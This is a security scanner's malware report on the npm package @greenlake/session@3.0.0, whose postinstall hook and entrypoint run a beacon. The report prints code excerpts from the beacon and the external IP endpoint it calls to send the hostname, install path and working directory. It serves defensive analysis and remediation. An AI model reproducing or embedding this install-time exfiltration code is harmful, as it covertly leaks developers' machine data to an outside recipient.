@greenlake/session@3.0.0
Compatibility shim.
AI Security Review
scanned 10d ago · by lpm-firewall-aiThe manifest activates a beacon during installation, and the beacon sends identifying machine and project metadata to a fixed external endpoint without a consent guard. This is concrete unconsented installation-time disclosure, supporting a block.
Static reason
One or more suspicious static signals were detected.; source fingerprint signature matched known malicious package; routed for review
Trigger
Package installation or importing index.js.
Impact
Discloses identifying machine and project metadata to an external recipient without an effective user consent guard.
Mechanism
The beacon collects the hostname, install path, working directory, and npm runtime information, then sends them in an HTTP request to the fixed endpoint.
Attack narrative
The postinstall hook runs the beacon, which sends machine and project metadata to a fixed external endpoint. The package entrypoint also triggers the beacon when imported. The inspected source shows no consent guard for either activation path.
AI rationale
The manifest activates a beacon during installation, and the beacon sends identifying machine and project metadata to a fixed external endpoint without a consent guard. This is concrete unconsented installation-time disclosure, supporting a block.
Evidence
package.jsonbeacon.cjsindex.js
Network endpoints1
185.158.107.175:8787/_ah/dc
Decision evidence
public snapshotAI called this Malicious at 99.0% confidence as Malware with low false-positive risk.
Evidence for block
- The package manifest runs the beacon during installation.
- The beacon sends an HTTP request to a fixed external address and labels the request with the package name.
- The outgoing payload includes the machine hostname, install path, working directory, and npm runtime information.
- The beacon writes the payload to the outgoing request.
- Importing the package entrypoint also triggers the beacon.
Evidence against
Behavioral surface
Network
UrlStrings
Source & flagged code
9 flaggedpackage.jsonView file
•scripts.postinstall = node beacon.cjs
High
Install Time Lifecycle Scripts
Package defines install-time lifecycle scripts.
package.jsonView on unpkg6"scripts": {
"postinstall": "node beacon.cjs"
},
"files": [
"index.js",
High
Ai Review Evidence
The package manifest runs the beacon during installation.
package.jsonView on unpkg · L6beacon.cjsView file
3// recipient can correlate an install. No data beyond that is collected or sent.
L4: var BEACON = "http://185.158.107.175:8787/_ah/dc";
L5: var PKG = "@greenlake/session";
...
L10: var lib = u.protocol === 'https:' ? require('https') : require('http');
L11: var data = Buffer.from(JSON.stringify(payload));
L12: var req = lib.request({
...
L20: req.setTimeout(5000, function () { try { req.destroy(); } catch (e) {} resolve(); });
L21: req.write(data); req.end();
L22: } catch (e) { resolve(); }
...
L27: package: PKG,
L28: hostname: (function () { try { return require('os').hostname(); } catch (e) { return ''; } })(),
L29: installPath: __dirname,
Findings
9 High1 Medium2 Low
HighInstall Time Lifecycle Scriptspackage.json
HighHost Fingerprint Exfiltrationbeacon.cjs
HighKnown Malware Source Fingerprint Signaturebeacon.cjs
HighAi Review Evidencepackage.json
HighAi Review Evidencebeacon.cjs
HighAi Review Evidencebeacon.cjs
HighAi Review Evidencebeacon.cjs
HighAi Review Evidencebeacon.cjs
HighAi Review Evidencebeacon.cjs
MediumNetwork
LowScripts Present
LowUrl Strings
Affected versions and remediation
This report applies to @greenlake/session@3.0.0.
See all versions of @greenlake/session for other recorded verdicts.
- Avoid installing @greenlake/session@3.0.0. Remove it from direct dependencies and check your lockfile for transitive copies.
- Choose an independently verified alternative or release. This report does not establish that other versions are safe.
- If this version ran, investigate the affected machine and build environment. Rotate credentials it could access and rebuild from a trusted environment.
Evidence last updated: .
Source advisory published: .
Think this verdict is wrong? Dispute it on GitHub or read how reports are produced.